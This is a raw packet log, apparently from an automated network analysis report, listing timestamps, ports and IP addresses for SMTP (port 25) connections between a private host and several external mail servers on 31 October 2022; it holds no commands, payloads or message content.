Oct 31, 2022 12:19:54.010468960 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010481119 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010493994 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010504961 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010515928 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010526896 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010549068 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:54.010557890 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010643005 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:54.010678053 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010689020 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010700941 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.010771036 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.016031981 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.016061068 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.035469055 CET	25	49826	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:54.035682917 CET	49826	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:54.037646055 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.038085938 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.043193102 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043230057 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043243885 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043253899 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043694019 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043720007 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043731928 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043744087 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043755054 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043766975 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043777943 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043790102 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043801069 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043812037 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043822050 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.043834925 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.044816971 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.045046091 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.045808077 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.045938015 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.045942068 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:54.045979977 CET	49828	25	192.168.2.5	64.233.167.27
Oct 31, 2022 12:19:54.046659946 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.078615904 CET	25	49828	64.233.167.27	192.168.2.5
Oct 31, 2022 12:19:54.088448048 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:54.242631912 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.273782969 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.274368048 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.275496960 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.406019926 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.407592058 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.407679081 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.407721996 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.407777071 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.407779932 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.407826900 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.407845020 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.407845020 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.407845020 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.407875061 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.407876015 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.407886982 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.407917023 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.407938004 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.407960892 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.407979012 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.408006907 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.408024073 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.408050060 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.408066034 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.408107042 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.452065945 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:54.452294111 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:54.479651928 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.479686975 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.479787111 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.479787111 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.479846954 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.479856968 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.479867935 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.479886055 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.479912043 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.479928970 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.479954004 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.484771013 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.484853029 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.684128046 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684179068 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684196949 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684211969 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684230089 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684264898 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684282064 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684303999 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684315920 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684328079 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684340954 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684351921 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684360027 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.684364080 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684360027 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.684376955 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684396029 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684415102 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684437037 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.684464931 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.684464931 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:54.689268112 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.689616919 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.702928066 CET	49830	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:19:54.754398108 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:54.754620075 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:54.769145012 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769172907 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769187927 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769203901 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769217968 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769232988 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769247055 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769262075 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769325972 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.769325972 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.769399881 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.769399881 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.769399881 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.769541025 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769593000 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:54.769629955 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769645929 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.769659996 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.770910978 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.770934105 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.770948887 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.770963907 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.770978928 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.770992994 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.771006107 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:54.857990026 CET	25	49830	85.187.148.2	192.168.2.5
Oct 31, 2022 12:19:54.858150959 CET	49830	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:19:54.888756037 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888789892 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888802052 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888809919 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888818979 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888827085 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888834953 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888843060 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888850927 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888859034 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888868093 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888878107 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888889074 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888896942 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888905048 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888912916 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888921976 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.888933897 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:54.983716011 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:54.984066010 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:55.130502939 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130531073 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130542040 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130549908 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130558014 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130568027 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130578995 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130604029 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130615950 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130626917 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130640030 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130650997 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130662918 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130673885 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130685091 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130697012 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130707979 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.130719900 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.336714029 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.336927891 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:55.337117910 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.337201118 CET	49823	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:55.347558975 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:55.372792959 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:55.427026033 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:55.427174091 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:55.517333031 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:55.517499924 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:55.614970922 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:55.615746021 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:55.670090914 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:55.697987080 CET	25	49823	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:55.721885920 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:55.722122908 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:55.776098967 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:55.776457071 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:55.776638031 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:55.835947990 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:55.881007910 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:56.002907038 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.003160954 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.046271086 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:56.046485901 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:56.057251930 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.058443069 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.076538086 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.077946901 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.132214069 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.132267952 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.132296085 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.132323027 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.132353067 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.132386923 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.132386923 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.132457018 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.137979031 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.138117075 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.186935902 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.186970949 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.186991930 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187011003 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187030077 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187072992 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.187103033 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187123060 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187124014 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.187143087 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187163115 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187184095 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187191963 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.187230110 CET	49831	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:56.187280893 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187299967 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187319040 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187406063 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187426090 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187448978 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187532902 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.187553883 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.192225933 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.192256927 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241272926 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241302013 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241316080 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241328001 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241341114 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241353989 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241365910 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241378069 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241468906 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241482973 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241497040 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241508007 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241568089 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241580963 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241650105 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241662979 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241673946 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.241684914 CET	25	49831	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:56.410003901 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:56.576458931 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:56.576517105 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:56.576698065 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:56.576785088 CET	49825	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:19:56.623656988 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:56.644942999 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:56.645282984 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:56.657227993 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:56.657419920 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:56.700433969 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:56.700727940 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:56.734528065 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:56.747714043 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:56.747948885 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:56.781012058 CET	25	49825	142.250.141.27	192.168.2.5
Oct 31, 2022 12:19:56.786237955 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:56.789652109 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:56.789866924 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:56.828301907 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:56.978902102 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:56.979130983 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:57.009105921 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.012727022 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.021056890 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.021466017 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:57.023386002 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:57.056870937 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.056905031 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.056916952 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.056929111 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.056952953 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.057034016 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:57.057127953 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:57.062298059 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.062520027 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:57.090509892 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090554953 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090573072 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090590954 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090610027 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090629101 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090647936 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090665102 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090682983 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090701103 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090718985 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090737104 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090754032 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090765953 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090780973 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090791941 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090802908 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.090820074 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.091032982 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:57.095987082 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.096029997 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124651909 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124708891 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124746084 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124775887 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124805927 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124831915 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124857903 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124885082 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124910116 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124937057 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.124962091 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.125008106 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.125036001 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.125061989 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.125087976 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.125113964 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.125140905 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.125169039 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.173691034 CET	25	49829	74.125.200.27	192.168.2.5
Oct 31, 2022 12:19:57.174110889 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.176965952 CET	49829	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:19:57.379142046 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.379194975 CET	25	49832	142.250.147.27	192.168.2.5
Oct 31, 2022 12:19:57.379378080 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:57.379450083 CET	49832	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:19:57.412102938 CET	49833	25	192.168.2.5	173.194.202.27
